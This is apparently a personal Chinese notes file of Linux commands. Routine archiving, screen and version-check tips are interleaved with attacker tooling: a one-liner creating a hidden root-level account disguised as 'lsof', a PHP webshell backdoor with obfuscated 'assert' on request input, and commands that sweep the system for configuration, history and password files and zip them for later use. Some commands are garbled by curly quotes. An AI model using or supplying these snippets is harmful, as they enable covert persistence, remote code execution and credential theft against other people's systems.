Linux 操作.txt
1: 压缩
zip -r 1.zip dir/*
2: linux 一条命令添加一个 root 级别账户并设置密码
useradd -p openssl passwd -1 -salt ‘lsof’ admin -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof
3:Linux shell script for information gathering|Linux 收集信息小脚本
找出所有. sh .pl .py .conf .cnf .ini .history .pass* (/usr/share 目录里面的除外) 并且在当前目录 zip 打包。有些时候很多配置文件的权限配置不严,如果搜集完全的话对于进行下一步有很大帮助。
Find all .sh .pl .py .conf .cnf .ini .history .pass* (Except in /usr/share) then zip in current directory
find / ! -path “/usr/share/” -regex “..sh |..pl |..py |..conf |..cnf |..ini |./..history$|./..pass.” -print|zip pack.zip -@
4:tar
tar cvfz chuli.tar.gz chuli/*
tar cvfz icon.tar.gz ico/*
5:array_push 后门
array_map(“ass\x65rt”,(array)$_REQUEST[‘array’]);
6: 特殊压缩
tar -cvf user/tmp/ooouser.tar user/ –exclude=image –exclude= –exclude .jpg –exclude .gif –exclude .zip –exclude .bmp –exclude .eps –exclude .psd
7: 查看版本
more /etc/issue
8:screen
screen -r 31601 介入
screen -S ya
screen -ls 查看当前的 screen
Ctrl+a+d #按 Ctrl+a,然后再按 d 即可保留 Screen
9:ls
ls -lh : 查看文件大小 以 m 为单位
10: 查询文件中包含的字符
find / -type f -name “*.php” | xargs grep “password”
11: 查看软件版本
先用 apt-cache search 找到软件的准确名字,再用 apt-cache show 来看详细的信息
RHEL 5.x / CentOS 5.x
rpm -Uvh http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm
rpm -Uvh http://download.fedoraproject.org/pub/epel/5/x86_64/epel-release-5-4.noarch.rpm
RHEL 6.x / CentOS 6.x
rpm -Uvh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
rpm -Uvh http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm